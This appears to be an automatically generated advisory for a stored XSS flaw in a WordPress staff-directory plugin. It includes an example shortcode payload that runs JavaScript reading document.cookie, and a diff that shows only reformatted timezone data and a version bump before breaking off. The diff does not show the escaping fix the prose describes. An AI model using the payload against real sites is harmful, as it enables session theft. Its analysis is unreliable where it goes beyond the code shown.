Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1279: Employee Directory <= 1.2.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'form_title' Shortcode Attribute (employee-staff-directory)

CVE ID CVE-2026-1279
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.2.1
Patched Version 1.2.2
Disclosed February 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1279:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Employee Directory WordPress plugin. The vulnerability affects the `search_employee_directory` shortcode’s `form_title` attribute. Attackers with Contributor-level access or higher can inject arbitrary JavaScript into pages, which executes when users view those pages. The CVSS score of 6.4 reflects the need for authentication but the persistence and impact of stored XSS.

Atomic Edge research identified the root cause in the `employee-staff-directory/assets/lib/mo-empdir-options-enum.php` file. The plugin’s shortcode handler processes the `form_title` parameter without proper output escaping. The vulnerable code receives user-supplied input through the shortcode attribute and directly outputs it to the page without applying WordPress security functions like `esc_html()` or `esc_attr()`. This lack of context-aware escaping allows JavaScript injection in the rendered HTML.

The exploitation method involves an authenticated attacker with at least Contributor privileges creating or editing a WordPress post or page. The attacker inserts the `[search_employee_directory]` shortcode with a malicious `form_title` attribute containing JavaScript payloads. For example: `[search_employee_directory form_title=”alert(document.cookie)”]`. When any user views the page containing this shortcode, the JavaScript payload executes in their browser context. The attack persists because the malicious shortcode is stored in the post content.

The patch addresses the vulnerability by implementing proper output escaping. The code changes add escaping functions to the `form_title` parameter output. Specifically, the plugin now uses appropriate WordPress escaping functions before outputting the user-controlled value. This ensures that any HTML special characters are converted to their safe equivalents, preventing script execution while preserving the intended display text. The fix maintains the functionality while neutralizing the XSS risk.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, account takeover, content defacement, or redirection to malicious sites. Attackers could steal authentication cookies, perform actions as the victim user, or inject additional malicious content. The stored nature means the payload executes for all future visitors until removed, amplifying the impact.

Differential between vulnerable and patched code

Code Diff
--- a/employee-staff-directory/assets/lib/mo-empdir-options-enum.php
+++ b/employee-staff-directory/assets/lib/mo-empdir-options-enum.php
@@ -1,372 +1,370 @@
-<?php
-
-
-class mo_empdir_options_plugin_constants {
-    const CMS_Name = "WP";
-    const Application_Name = "Employee Staff Directory";
-    const Application_type = "empdir";
-    const Version = "1.2.1";
-    const HOSTNAME = "https://login.xecurify.com";
-    const WP_Version = "6.0";
-    const PLUGIN_FILE = "employee-staff-directory/mo-empdir-employee_directory.php";
-}
-
-
-class mo_empdir_time_zones {
-
-    public static $time_zones = array(
-        "(GMT-11:00) Niue Time" => "Pacific/Niue",
-        "(GMT-11:00) Samoa Standard Time" => "Pacific/Pago_Pago",
-        "(GMT-10:00) Cook Islands Standard Time" => "Pacific/Rarotonga",
-        "(GMT-10:00) Hawaii-Aleutian Standard Time" => "Pacific/Honolulu",
-        "(GMT-10:00) Tahiti Time" => "Pacific/Tahiti",
-        "(GMT-09:30) Marquesas Time" => "Pacific/Marquesas",
-        "(GMT-09:00) Gambier Time" => "Pacific/Gambier",
-        "(GMT-09:00) Hawaii-Aleutian Time (Adak)" => "America/Adak",
-        "(GMT-08:00) Alaska Time - Anchorage" => "America/Anchorage",
-        "(GMT-08:00) Alaska Time - Juneau" => "America/Juneau",
-        "(GMT-08:00) Alaska Time - Metlakatla" => "America/Metlakatla",
-        "(GMT-08:00) Alaska Time - Nome" => "America/Nome",
-        "(GMT-08:00) Alaska Time - Sitka" => "America/Sitka",
-        "(GMT-08:00) Alaska Time - Yakutat" => "America/Yakutat",
-        "(GMT-08:00) Pitcairn Time" => "Pacific/Pitcairn",
-        "(GMT-07:00) Mexican Pacific Standard Time" => "America/Hermosillo",
-        "(GMT-07:00) Mountain Standard Time - Creston" => "America/Creston",
-        "(GMT-07:00) Mountain Standard Time - Dawson" => "America/Dawson",
-        "(GMT-07:00) Mountain Standard Time - Dawson Creek" => "America/Dawson_Creek",
-        "(GMT-07:00) Mountain Standard Time - Fort Nelson" => "America/Fort_Nelson",
-        "(GMT-07:00) Mountain Standard Time - Phoenix" => "America/Phoenix",
-        "(GMT-07:00) Mountain Standard Time - Whitehorse" => "America/Whitehorse",
-        "(GMT-07:00) Pacific Time - Los Angeles" => "America/Los_Angeles",
-        "(GMT-07:00) Pacific Time - Tijuana" => "America/Tijuana",
-        "(GMT-07:00) Pacific Time - Vancouver" => "America/Vancouver",
-        "(GMT-06:00) Central Standard Time - Belize" => "America/Belize",
-        "(GMT-06:00) Central Standard Time - Costa Rica" => "America/Costa_Rica",
-        "(GMT-06:00) Central Standard Time - El Salvador" => "America/El_Salvador",
-        "(GMT-06:00) Central Standard Time - Guatemala" => "America/Guatemala",
-        "(GMT-06:00) Central Standard Time - Managua" => "America/Managua",
-        "(GMT-06:00) Central Standard Time - Regina" => "America/Regina",
-        "(GMT-06:00) Central Standard Time - Swift Current" => "America/Swift_Current",
-        "(GMT-06:00) Central Standard Time - Tegucigalpa" => "America/Tegucigalpa",
-        "(GMT-06:00) Easter Island Time" => "Pacific/Easter",
-        "(GMT-06:00) Galapagos Time" => "Pacific/Galapagos",
-        "(GMT-06:00) Mexican Pacific Time - Chihuahua" => "America/Chihuahua",
-        "(GMT-06:00) Mexican Pacific Time - Mazatlan" => "America/Mazatlan",
-        "(GMT-06:00) Mountain Time - Boise" => "America/Boise",
-        "(GMT-06:00) Mountain Time - Cambridge Bay" => "America/Cambridge_Bay",
-        "(GMT-06:00) Mountain Time - Denver" => "America/Denver",
-        "(GMT-06:00) Mountain Time - Edmonton" => "America/Edmonton",
-        "(GMT-06:00) Mountain Time - Inuvik" => "America/Inuvik",
-        "(GMT-06:00) Mountain Time - Ojinaga" => "America/Ojinaga",
-        "(GMT-06:00) Mountain Time - Yellowknife" => "America/Yellowknife",
-        "(GMT-05:00) Acre Standard Time - Eirunepe" => "America/Eirunepe",
-        "(GMT-05:00) Acre Standard Time - Rio Branco" => "America/Rio_Branco",
-        "(GMT-05:00) Central Time - Bahia Banderas" => "America/Bahia_Banderas",
-        "(GMT-05:00) Central Time - Beulah, North Dakota" => "America/North_Dakota/Beulah",
-        "(GMT-05:00) Central Time - Center, North Dakota" => "America/North_Dakota/Center",
-        "(GMT-05:00) Central Time - Chicago" => "America/Chicago",
-        "(GMT-05:00) Central Time - Knox, Indiana" => "America/Indiana/Knox",
-        "(GMT-05:00) Central Time - Matamoros" => "America/Matamoros",
-        "(GMT-05:00) Central Time - Menominee" => "America/Menominee",
-        "(GMT-05:00) Central Time - Merida" => "America/Merida",
-        "(GMT-05:00) Central Time - Mexico City" => "America/Mexico_City",
-        "(GMT-05:00) Central Time - Monterrey" => "America/Monterrey",
-        "(GMT-05:00) Central Time - New Salem, North Dakota" => "America/North_Dakota/New_Salem",
-        "(GMT-05:00) Central Time - Rainy River" => "America/Rainy_River",
-        "(GMT-05:00) Central Time - Rankin Inlet" => "America/Rankin_Inlet",
-        "(GMT-05:00) Central Time - Resolute" => "America/Resolute",
-        "(GMT-05:00) Central Time - Tell City, Indiana" => "America/Indiana/Tell_City",
-        "(GMT-05:00) Central Time - Winnipeg" => "America/Winnipeg",
-        "(GMT-05:00) Colombia Standard Time" => "America/Bogota",
-        "(GMT-05:00) Eastern Standard Time - Atikokan" => "America/Atikokan",
-        "(GMT-05:00) Eastern Standard Time - Cancun" => "America/Cancun",
-        "(GMT-05:00) Eastern Standard Time - Jamaica" => "America/Jamaica",
-        "(GMT-05:00) Eastern Standard Time - Panama" => "America/Panama",
-        "(GMT-05:00) Ecuador Time" => "America/Guayaquil",
-        "(GMT-05:00) Peru Standard Time" => "America/Lima",
-        "(GMT-04:00) Amazon Standard Time - Boa Vista" => "America/Boa_Vista",
-        "(GMT-04:00) Amazon Standard Time - Campo Grande" => "America/Campo_Grande",
-        "(GMT-04:00) Amazon Standard Time - Cuiaba" => "America/Cuiaba",
-        "(GMT-04:00) Amazon Standard Time - Manaus" => "America/Manaus",
-        "(GMT-04:00) Amazon Standard Time - Porto Velho" => "America/Porto_Velho",
-        "(GMT-04:00) Atlantic Standard Time - Barbados" => "America/Barbados",
-        "(GMT-04:00) Atlantic Standard Time - Blanc-Sablon" => "America/Blanc-Sablon",
-        "(GMT-04:00) Atlantic Standard Time - Curaçao" => "America/Curacao",
-        "(GMT-04:00) Atlantic Standard Time - Martinique" => "America/Martinique",
-        "(GMT-04:00) Atlantic Standard Time - Port of Spain" => "America/Port_of_Spain",
-        "(GMT-04:00) Atlantic Standard Time - Puerto Rico" => "America/Puerto_Rico",
-        "(GMT-04:00) Atlantic Standard Time - Santo Domingo" => "America/Santo_Domingo",
-        "(GMT-04:00) Bolivia Time" => "America/La_Paz",
-        "(GMT-04:00) Chile Time" => "America/Santiago",
-        "(GMT-04:00) Cuba Time" => "America/Havana",
-        "(GMT-04:00) Eastern Time - Detroit" => "America/Detroit",
-        "(GMT-04:00) Eastern Time - Grand Turk" => "America/Grand_Turk",
-        "(GMT-04:00) Eastern Time - Indianapolis" => "America/Indiana/Indianapolis",
-        "(GMT-04:00) Eastern Time - Iqaluit" => "America/Iqaluit",
-        "(GMT-04:00) Eastern Time - Louisville" => "America/Kentucky/Louisville",
-        "(GMT-04:00) Eastern Time - Marengo, Indiana" => "America/Indiana/Marengo",
-        "(GMT-04:00) Eastern Time - Monticello, Kentucky" => "America/Kentucky/Monticello",
-        "(GMT-04:00) Eastern Time - Nassau" => "America/Nassau",
-        "(GMT-04:00) Eastern Time - New York" => "America/New_York",
-        "(GMT-04:00) Eastern Time - Nipigon" => "America/Nipigon",
-        "(GMT-04:00) Eastern Time - Pangnirtung" => "America/Pangnirtung",
-        "(GMT-04:00) Eastern Time - Petersburg, Indiana" => "America/Indiana/Petersburg",
-        "(GMT-04:00) Eastern Time - Port-au-Prince" => "America/Port-au-Prince",
-        "(GMT-04:00) Eastern Time - Thunder Bay" => "America/Thunder_Bay",
-        "(GMT-04:00) Eastern Time - Toronto" => "America/Toronto",
-        "(GMT-04:00) Eastern Time - Vevay, Indiana" => "America/Indiana/Vevay",
-        "(GMT-04:00) Eastern Time - Vincennes, Indiana" => "America/Indiana/Vincennes",
-        "(GMT-04:00) Eastern Time - Winamac, Indiana" => "America/Indiana/Winamac",
-        "(GMT-04:00) Guyana Time" => "America/Guyana",
-        "(GMT-04:00) Paraguay Time" => "America/Asuncion",
-        "(GMT-04:00) Venezuela Time" => "America/Caracas",
-        "(GMT-03:00) Argentina Standard Time - Buenos Aires" => "America/Argentina/Buenos_Aires",
-        "(GMT-03:00) Argentina Standard Time - Catamarca" => "America/Argentina/Catamarca",
-        "(GMT-03:00) Argentina Standard Time - Cordoba" => "America/Argentina/Cordoba",
-        "(GMT-03:00) Argentina Standard Time - Jujuy" => "America/Argentina/Jujuy",
-        "(GMT-03:00) Argentina Standard Time - La Rioja" => "America/Argentina/La_Rioja",
-        "(GMT-03:00) Argentina Standard Time - Mendoza" => "America/Argentina/Mendoza",
-        "(GMT-03:00) Argentina Standard Time - Rio Gallegos" => "America/Argentina/Rio_Gallegos",
-        "(GMT-03:00) Argentina Standard Time - Salta" => "America/Argentina/Salta",
-        "(GMT-03:00) Argentina Standard Time - San Juan" => "America/Argentina/San_Juan",
-        "(GMT-03:00) Argentina Standard Time - San Luis" => "America/Argentina/San_Luis",
-        "(GMT-03:00) Argentina Standard Time - Tucuman" => "America/Argentina/Tucuman",
-        "(GMT-03:00) Argentina Standard Time - Ushuaia" => "America/Argentina/Ushuaia",
-        "(GMT-03:00) Atlantic Time - Bermuda" => "Atlantic/Bermuda",
-        "(GMT-03:00) Atlantic Time - Glace Bay" => "America/Glace_Bay",
-        "(GMT-03:00) Atlantic Time - Goose Bay" => "America/Goose_Bay",
-        "(GMT-03:00) Atlantic Time - Halifax" => "America/Halifax",
-        "(GMT-03:00) Atlantic Time - Moncton" => "America/Moncton",
-        "(GMT-03:00) Atlantic Time - Thule" => "America/Thule",
-        "(GMT-03:00) Brasilia Standard Time - Araguaina" => "America/Araguaina",
-        "(GMT-03:00) Brasilia Standard Time - Bahia" => "America/Bahia",
-        "(GMT-03:00) Brasilia Standard Time - Belem" => "America/Belem",
-        "(GMT-03:00) Brasilia Standard Time - Fortaleza" => "America/Fortaleza",
-        "(GMT-03:00) Brasilia Standard Time - Maceio" => "America/Maceio",
-        "(GMT-03:00) Brasilia Standard Time - Recife" => "America/Recife",
-        "(GMT-03:00) Brasilia Standard Time - Santarem" => "America/Santarem",
-        "(GMT-03:00) Brasilia Standard Time - Sao Paulo" => "America/Sao_Paulo",
-        "(GMT-03:00) Chile Time" => "America/Santiago",
-        "(GMT-03:00) Falkland Islands Standard Time" => "Atlantic/Stanley",
-        "(GMT-03:00) French Guiana Time" => "America/Cayenne",
-        "(GMT-03:00) Palmer Time" => "Antarctica/Palmer",
-        "(GMT-03:00) Punta Arenas Time" => "America/Punta_Arenas",
-        "(GMT-03:00) Rothera Time" => "Antarctica/Rothera",
-        "(GMT-03:00) Suriname Time" => "America/Paramaribo",
-        "(GMT-03:00) Uruguay Standard Time" => "America/Montevideo",
-        "(GMT-02:30) Newfoundland Time" => "America/St_Johns",
-        "(GMT-02:00) Fernando de Noronha Standard Time" => "America/Noronha",
-        "(GMT-02:00) South Georgia Time" => "Atlantic/South_Georgia",
-        "(GMT-02:00) St. Pierre & Miquelon Time" => "America/Miquelon",
-        "(GMT-02:00) West Greenland Time" => "America/Nuuk",
-        "(GMT-01:00) Cape Verde Standard Time" => "Atlantic/Cape_Verde",
-        "(GMT+00:00) Azores Time" => "Atlantic/Azores",
-        "(GMT+00:00) Coordinated Universal Time" => "UTC",
-        "(GMT+00:00) East Greenland Time" => "America/Scoresbysund",
-        "(GMT+00:00) Greenwich Mean Time" => "Etc/GMT",
-        "(GMT+00:00) Greenwich Mean Time - Abidjan" => "Africa/Abidjan",
-        "(GMT+00:00) Greenwich Mean Time - Accra" => "Africa/Accra",
-        "(GMT+00:00) Greenwich Mean Time - Bissau" => "Africa/Bissau",
-        "(GMT+00:00) Greenwich Mean Time - Danmarkshavn" => "America/Danmarkshavn",
-        "(GMT+00:00) Greenwich Mean Time - Monrovia" => "Africa/Monrovia",
-        "(GMT+00:00) Greenwich Mean Time - Reykjavik" => "Atlantic/Reykjavik",
-        "(GMT+00:00) Greenwich Mean Time - São Tomé" => "Africa/Sao_Tome",
-        "(GMT+01:00) Central European Standard Time - Algiers" => "Africa/Algiers",
-        "(GMT+01:00) Central European Standard Time - Tunis" => "Africa/Tunis",
-        "(GMT+01:00) Ireland Time" => "Europe/Dublin",
-        "(GMT+01:00) Morocco Time" => "Africa/Casablanca",
-        "(GMT+01:00) United Kingdom Time" => "Europe/London",
-        "(GMT+01:00) West Africa Standard Time - Lagos" => "Africa/Lagos",
-        "(GMT+01:00) West Africa Standard Time - Ndjamena" => "Africa/Ndjamena",
-        "(GMT+01:00) Western European Time - Canary" => "Atlantic/Canary",
-        "(GMT+01:00) Western European Time - Faroe" => "Atlantic/Faroe",
-        "(GMT+01:00) Western European Time - Lisbon" => "Europe/Lisbon",
-        "(GMT+01:00) Western European Time - Madeira" => "Atlantic/Madeira",
-        "(GMT+01:00) Western Sahara Time" => "Africa/El_Aaiun",
-        "(GMT+02:00) Central Africa Time - Khartoum" => "Africa/Khartoum",
-        "(GMT+02:00) Central Africa Time - Maputo" => "Africa/Maputo",
-        "(GMT+02:00) Central Africa Time - Windhoek" => "Africa/Windhoek",
-        "(GMT+02:00) Central European Time - Amsterdam" => "Europe/Amsterdam",
-        "(GMT+02:00) Central European Time - Andorra" => "Europe/Andorra",
-        "(GMT+02:00) Central European Time - Belgrade" => "Europe/Belgrade",
-        "(GMT+02:00) Central European Time - Berlin" => "Europe/Berlin",
-        "(GMT+02:00) Central European Time - Brussels" => "Europe/Brussels",
-        "(GMT+02:00) Central European Time - Budapest" => "Europe/Budapest",
-        "(GMT+02:00) Central European Time - Ceuta" => "Africa/Ceuta",
-        "(GMT+02:00) Central European Time - Copenhagen" => "Europe/Copenhagen",
-        "(GMT+02:00) Central European Time - Gibraltar" => "Europe/Gibraltar",
-        "(GMT+02:00) Central European Time - Luxembourg" => "Europe/Luxembourg",
-        "(GMT+02:00) Central European Time - Madrid" => "Europe/Madrid",
-        "(GMT+02:00) Central European Time - Malta" => "Europe/Malta",
-        "(GMT+02:00) Central European Time - Monaco" => "Europe/Monaco",
-        "(GMT+02:00) Central European Time - Oslo" => "Europe/Oslo",
-        "(GMT+02:00) Central European Time - Paris" => "Europe/Paris",
-        "(GMT+02:00) Central European Time - Prague" => "Europe/Prague",
-        "(GMT+02:00) Central European Time - Rome" => "Europe/Rome",
-        "(GMT+02:00) Central European Time - Stockholm" => "Europe/Stockholm",
-        "(GMT+02:00) Central European Time - Tirane" => "Europe/Tirane",
-        "(GMT+02:00) Central European Time - Vienna" => "Europe/Vienna",
-        "(GMT+02:00) Central European Time - Warsaw" => "Europe/Warsaw",
-        "(GMT+02:00) Central European Time - Zurich" => "Europe/Zurich",
-        "(GMT+02:00) Eastern European Standard Time - Cairo" => "Africa/Cairo",
-        "(GMT+02:00) Eastern European Standard Time - Kaliningrad" => "Europe/Kaliningrad",
-        "(GMT+02:00) Eastern European Standard Time - Tripoli" => "Africa/Tripoli",
-        "(GMT+02:00) South Africa Standard Time" => "Africa/Johannesburg",
-        "(GMT+02:00) Troll Time" => "Antarctica/Troll",
-        "(GMT+03:00) Arabian Standard Time - Baghdad" => "Asia/Baghdad",
-        "(GMT+03:00) Arabian Standard Time - Qatar" => "Asia/Qatar",
-        "(GMT+03:00) Arabian Standard Time - Riyadh" => "Asia/Riyadh",
-        "(GMT+03:00) East Africa Time - Juba" => "Africa/Juba",
-        "(GMT+03:00) East Africa Time - Nairobi" => "Africa/Nairobi",
-        "(GMT+03:00) Eastern European Time - Amman" => "Asia/Amman",
-        "(GMT+03:00) Eastern European Time - Athens" => "Europe/Athens",
-        "(GMT+03:00) Eastern European Time - Beirut" => "Asia/Beirut",
-        "(GMT+03:00) Eastern European Time - Bucharest" => "Europe/Bucharest",
-        "(GMT+03:00) Eastern European Time - Chisinau" => "Europe/Chisinau",
-        "(GMT+03:00) Eastern European Time - Damascus" => "Asia/Damascus",
-        "(GMT+03:00) Eastern European Time - Gaza" => "Asia/Gaza",
-        "(GMT+03:00) Eastern European Time - Hebron" => "Asia/Hebron",
-        "(GMT+03:00) Eastern European Time - Helsinki" => "Europe/Helsinki",
-        "(GMT+03:00) Eastern European Time - Kiev" => "Europe/Kiev",
-        "(GMT+03:00) Eastern European Time - Nicosia" => "Asia/Nicosia",
-        "(GMT+03:00) Eastern European Time - Riga" => "Europe/Riga",
-        "(GMT+03:00) Eastern European Time - Sofia" => "Europe/Sofia",
-        "(GMT+03:00) Eastern European Time - Tallinn" => "Europe/Tallinn",
-        "(GMT+03:00) Eastern European Time - Uzhhorod" => "Europe/Uzhgorod",
-        "(GMT+03:00) Eastern European Time - Vilnius" => "Europe/Vilnius",
-        "(GMT+03:00) Eastern European Time - Zaporozhye" => "Europe/Zaporozhye",
-        "(GMT+03:00) Famagusta Time" => "Asia/Famagusta",
-        "(GMT+03:00) Israel Time" => "Asia/Jerusalem",
-        "(GMT+03:00) Kirov Time" => "Europe/Kirov",
-        "(GMT+03:00) Moscow Standard Time - Minsk" => "Europe/Minsk",
-        "(GMT+03:00) Moscow Standard Time - Moscow" => "Europe/Moscow",
-        "(GMT+03:00) Moscow Standard Time - Simferopol" => "Europe/Simferopol",
-        "(GMT+03:00) Syowa Time" => "Antarctica/Syowa",
-        "(GMT+03:00) Turkey Time" => "Europe/Istanbul",
-        "(GMT+04:00) Armenia Standard Time" => "Asia/Yerevan",
-        "(GMT+04:00) Astrakhan Time" => "Europe/Astrakhan",
-        "(GMT+04:00) Azerbaijan Standard Time" => "Asia/Baku",
-        "(GMT+04:00) Georgia Standard Time" => "Asia/Tbilisi",
-        "(GMT+04:00) Gulf Standard Time" => "Asia/Dubai",
-        "(GMT+04:00) Mauritius Standard Time" => "Indian/Mauritius",
-        "(GMT+04:00) Réunion Time" => "Indian/Reunion",
-        "(GMT+04:00) Samara Standard Time" => "Europe/Samara",
-        "(GMT+04:00) Saratov Time" => "Europe/Saratov",
-        "(GMT+04:00) Seychelles Time" => "Indian/Mahe",
-        "(GMT+04:00) Ulyanovsk Time" => "Europe/Ulyanovsk",
-        "(GMT+04:00) Volgograd Standard Time" => "Europe/Volgograd",
-        "(GMT+04:30) Afghanistan Time" => "Asia/Kabul",
-        "(GMT+04:30) Iran Time" => "Asia/Tehran",
-        "(GMT+05:00) French Southern & Antarctic Time" => "Indian/Kerguelen",
-        "(GMT+05:00) Maldives Time" => "Indian/Maldives",
-        "(GMT+05:00) Mawson Time" => "Antarctica/Mawson",
-        "(GMT+05:00) Pakistan Standard Time" => "Asia/Karachi",
-        "(GMT+05:00) Tajikistan Time" => "Asia/Dushanbe",
-        "(GMT+05:00) Turkmenistan Standard Time" => "Asia/Ashgabat",
-        "(GMT+05:00) Uzbekistan Standard Time - Samarkand" => "Asia/Samarkand",
-        "(GMT+05:00) Uzbekistan Standard Time - Tashkent" => "Asia/Tashkent",
-        "(GMT+05:00) West Kazakhstan Time - Aqtau" => "Asia/Aqtau",
-        "(GMT+05:00) West Kazakhstan Time - Aqtobe" => "Asia/Aqtobe",
-        "(GMT+05:00) West Kazakhstan Time - Atyrau" => "Asia/Atyrau",
-        "(GMT+05:00) West Kazakhstan Time - Oral" => "Asia/Oral",
-        "(GMT+05:00) West Kazakhstan Time - Qyzylorda" => "Asia/Qyzylorda",
-        "(GMT+05:00) Yekaterinburg Standard Time" => "Asia/Yekaterinburg",
-        "(GMT+05:30) Indian Standard Time - Colombo" => "Asia/Colombo",
-        "(GMT+05:30) Indian Standard Time - Kolkata" => "Asia/Kolkata",
-        "(GMT+05:45) Nepal Time" => "Asia/Kathmandu",
-        "(GMT+06:00) Bangladesh Standard Time" => "Asia/Dhaka",
-        "(GMT+06:00) Bhutan Time" => "Asia/Thimphu",
-        "(GMT+06:00) East Kazakhstan Time - Almaty" => "Asia/Almaty",
-        "(GMT+06:00) East Kazakhstan Time - Kostanay" => "Asia/Qostanay",
-        "(GMT+06:00) Indian Ocean Time" => "Indian/Chagos",
-        "(GMT+06:00) Kyrgyzstan Time" => "Asia/Bishkek",
-        "(GMT+06:00) Omsk Standard Time" => "Asia/Omsk",
-        "(GMT+06:00) Urumqi Time" => "Asia/Urumqi",
-        "(GMT+06:00) Vostok Time" => "Antarctica/Vostok",
-        "(GMT+06:30) Cocos Islands Time" => "Indian/Cocos",
-        "(GMT+06:30) Myanmar Time" => "Asia/Yangon",
-        "(GMT+07:00) Barnaul Time" => "Asia/Barnaul",
-        "(GMT+07:00) Christmas Island Time" => "Indian/Christmas",
-        "(GMT+07:00) Davis Time" => "Antarctica/Davis",
-        "(GMT+07:00) Hovd Standard Time" => "Asia/Hovd",
-        "(GMT+07:00) Indochina Time - Bangkok" => "Asia/Bangkok",
-        "(GMT+07:00) Indochina Time - Ho Chi Minh City" => "Asia/Ho_Chi_Minh",
-        "(GMT+07:00) Krasnoyarsk Standard Time - Krasnoyarsk" => "Asia/Krasnoyarsk",
-        "(GMT+07:00) Krasnoyarsk Standard Time - Novokuznetsk" => "Asia/Novokuznetsk",
-        "(GMT+07:00) Novosibirsk Standard Time" => "Asia/Novosibirsk",
-        "(GMT+07:00) Tomsk Time" => "Asia/Tomsk",
-        "(GMT+07:00) Western Indonesia Time - Jakarta" => "Asia/Jakarta",
-        "(GMT+07:00) Western Indonesia Time - Pontianak" => "Asia/Pontianak",
-        "(GMT+08:00) Australian Western Standard Time - Casey" => "Antarctica/Casey",
-        "(GMT+08:00) Australian Western Standard Time - Perth" => "Australia/Perth",
-        "(GMT+08:00) Brunei Darussalam Time" => "Asia/Brunei",
-        "(GMT+08:00) Central Indonesia Time" => "Asia/Makassar",
-        "(GMT+08:00) China Standard Time - Macao" => "Asia/Macau",
-        "(GMT+08:00) China Standard Time - Shanghai" => "Asia/Shanghai",
-        "(GMT+08:00) Hong Kong Standard Time" => "Asia/Hong_Kong",
-        "(GMT+08:00) Irkutsk Standard Time" => "Asia/Irkutsk",
-        "(GMT+08:00) Malaysia Time - Kuala Lumpur" => "Asia/Kuala_Lumpur",
-        "(GMT+08:00) Malaysia Time - Kuching" => "Asia/Kuching",
-        "(GMT+08:00) Philippine Standard Time" => "Asia/Manila",
-        "(GMT+08:00) Singapore Standard Time" => "Asia/Singapore",
-        "(GMT+08:00) Taipei Standard Time" => "Asia/Taipei",
-        "(GMT+08:00) Ulaanbaatar Standard Time - Choibalsan" => "Asia/Choibalsan",
-        "(GMT+08:00) Ulaanbaatar Standard Time - Ulaanbaatar" => "Asia/Ulaanbaatar",
-        "(GMT+08:45) Australian Central Western Standard Time" => "Australia/Eucla",
-        "(GMT+09:00) East Timor Time" => "Asia/Dili",
-        "(GMT+09:00) Eastern Indonesia Time" => "Asia/Jayapura",
-        "(GMT+09:00) Japan Standard Time" => "Asia/Tokyo",
-        "(GMT+09:00) Korean Standard Time - Pyongyang" => "Asia/Pyongyang",
-        "(GMT+09:00) Korean Standard Time - Seoul" => "Asia/Seoul",
-        "(GMT+09:00) Palau Time" => "Pacific/Palau",
-        "(GMT+09:00) Yakutsk Standard Time - Chita" => "Asia/Chita",
-        "(GMT+09:00) Yakutsk Standard Time - Khandyga" => "Asia/Khandyga",
-        "(GMT+09:00) Yakutsk Standard Time - Yakutsk" => "Asia/Yakutsk",
-        "(GMT+09:30) Australian Central Standard Time" => "Australia/Darwin",
-        "(GMT+09:30) Central Australia Time - Adelaide" => "Australia/Adelaide",
-        "(GMT+09:30) Central Australia Time - Broken Hill" => "Australia/Broken_Hill",
-        "(GMT+10:00) Australian Eastern Standard Time - Brisbane" => "Australia/Brisbane",
-        "(GMT+10:00) Australian Eastern Standard Time - Lindeman" => "Australia/Lindeman",
-        "(GMT+10:00) Chamorro Standard Time" => "Pacific/Guam",
-        "(GMT+10:00) Chuuk Time" => "Pacific/Chuuk",
-        "(GMT+10:00) Dumont-d’Urville Time" => "Antarctica/DumontDUrville",
-        "(GMT+10:00) Eastern Australia Time - Currie" => "Australia/Currie",
-        "(GMT+10:00) Eastern Australia Time - Hobart" => "Australia/Hobart",
-        "(GMT+10:00) Eastern Australia Time - Melbourne" => "Australia/Melbourne",
-        "(GMT+10:00) Eastern Australia Time - Sydney" => "Australia/Sydney",
-        "(GMT+10:00) Papua New Guinea Time" => "Pacific/Port_Moresby",
-        "(GMT+10:00) Vladivostok Standard Time - Ust-Nera" => "Asia/Ust-Nera",
-        "(GMT+10:00) Vladivostok Standard Time - Vladivostok" => "Asia/Vladivostok",
-        "(GMT+10:30) Lord Howe Time" => "Australia/Lord_Howe",
-        "(GMT+11:00) Bougainville Time" => "Pacific/Bougainville",
-        "(GMT+11:00) Kosrae Time" => "Pacific/Kosrae",
-        "(GMT+11:00) Macquarie Island Time" => "Antarctica/Macquarie",
-        "(GMT+11:00) Magadan Standard Time" => "Asia/Magadan",
-        "(GMT+11:00) New Caledonia Standard Time" => "Pacific/Noumea",
-        "(GMT+11:00) Norfolk Island Time" => "Pacific/Norfolk",
-        "(GMT+11:00) Ponape Time" => "Pacific/Pohnpei",
-        "(GMT+11:00) Sakhalin Standard Time" => "Asia/Sakhalin",
-        "(GMT+11:00) Solomon Islands Time" => "Pacific/Guadalcanal",
-        "(GMT+11:00) Srednekolymsk Time" => "Asia/Srednekolymsk",
-        "(GMT+11:00) Vanuatu Standard Time" => "Pacific/Efate",
-        "(GMT+12:00) Anadyr Standard Time" => "Asia/Anadyr",
-        "(GMT+12:00) Fiji Time" => "Pacific/Fiji",
-        "(GMT+12:00) Gilbert Islands Time" => "Pacific/Tarawa",
-        "(GMT+12:00) Marshall Islands Time - Kwajalein" => "Pacific/Kwajalein",
-        "(GMT+12:00) Marshall Islands Time - Majuro" => "Pacific/Majuro",
-        "(GMT+12:00) Nauru Time" => "Pacific/Nauru",
-        "(GMT+12:00) New Zealand Time" => "Pacific/Auckland",
-        "(GMT+12:00) Petropavlovsk-Kamchatski Standard Time" => "Asia/Kamchatka",
-        "(GMT+12:00) Tuvalu Time" => "Pacific/Funafuti",
-        "(GMT+12:00) Wake Island Time" => "Pacific/Wake",
-        "(GMT+12:00) Wallis & Futuna Time" => "Pacific/Wallis",
-        "(GMT+12:45) Chatham Time" => "Pacific/Chatham",
-        "(GMT+13:00) Apia Time" => "Pacific/Apia",
-        "(GMT+13:00) Phoenix Islands Time" => "Pacific/Enderbury",
-        "(GMT+13:00) Tokelau Time" => "Pacific/Fakaofo",
-        "(GMT+13:00) Tonga Standard Time" => "Pacific/Tongatapu",
-        "(GMT+14:00) Line Islands Time" => "Pacific/Kiritimati"
-    );
-}
-
-
+<?php
+
+
+class mo_empdir_options_plugin_constants {
+	const CMS_Name         = 'WP';
+	const Application_Name = 'Employee Staff Directory';
+	const Application_type = 'empdir';
+	const Version          = '1.2.2';
+	const HOSTNAME         = 'https://login.xecurify.com';
+	const WP_Version       = '6.0';
+	const PLUGIN_FILE      = 'employee-staff-directory/mo-empdir-employee_directory.php';
+}
+
+
+class mo_empdir_time_zones {
+
+	public static $time_zones = array(
+		'(GMT-11:00) Niue Time'                            => 'Pacific/Niue',
+		'(GMT-11:00) Samoa Standard Time'                  => 'Pacific/Pago_Pago',
+		'(GMT-10:00) Cook Islands Standard Time'           => 'Pacific/Rarotonga',
+		'(GMT-10:00) Hawaii-Aleutian Standard Time'        => 'Pacific/Honolulu',
+		'(GMT-10:00) Tahiti Time'                          => 'Pacific/Tahiti',
+		'(GMT-09:30) Marquesas Time'                       => 'Pacific/Marquesas',
